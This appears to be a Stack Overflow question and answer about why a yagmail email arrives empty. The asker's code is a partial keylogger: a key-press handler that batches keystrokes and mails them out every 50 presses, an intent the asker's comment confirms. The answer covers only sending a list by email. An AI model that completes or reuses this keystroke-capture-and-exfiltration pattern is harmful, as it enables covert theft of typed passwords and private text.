0

So I am trying to send mails with yagmail in Python and I have an array or list I want to send. And when i get the mail there's no content inside it. Why's that?

import yagmail

keys = []

listToStr = ' '.join([str(elem) for elem in keys]) 


def send(keys):
    print('test')
    yag = yagmail.SMTP('myactualmailishere', 'myactualpassishere')
    yag.send('myactualrecieverishere', 'Test', listToStr)

def on_press(key):
    global keys, count
    count += 1

    if count >= 50:
        count = 0
        send(keys)
        keys = []

1 Answers1

1

So you need to understand a few thing before sending emails through yagmail:

  • yagmail is a wrapper library on top of smtplib, which is a standard lib for sending emails through python.
  • You can either send Plain Text Email or HTML emails. Your case looks more like a Plain text email.

So, sending mails through yagmail should not functionally differ from smtplib.

So, the code should be roughly like this:

import yagmail

keys = ['a','b','c','d']
listToStr = ' '.join([str(elem) for elem in keys]) 

message = """\
Subject: Hi there. My list is {}.

This message is sent from Python."""

yag = yagmail.SMTP('myactualmailishere', 'myactualpassishere')
yag.send('myactualrecieverishere', 'Test', message.format(listToStr))

This should send a plain email with text in message and {} replaced by listToStr.

Try the above and then break down your code in methods to achieve your funtionality.

Mayank Porwal
  • 33,470
  • 8
  • 37
  • 58
  • But that just sents a b c d. I want it to save all the keys pressed and every 50 keys pressed it should send all the keys pressed to my email. Sorry if I am being unclear – lasseesharp May 10 '20 at 10:09
  • I think you are asking multiple questions in one post here. As far as I understood, your question was targeted to understand how to send lists as email from `yagmail`. Pressing keys and recording the input seems like another question. – Mayank Porwal May 10 '20 at 10:33
  • I guess. But showing the text works so should I just make another StackOverflow question? – lasseesharp May 10 '20 at 10:34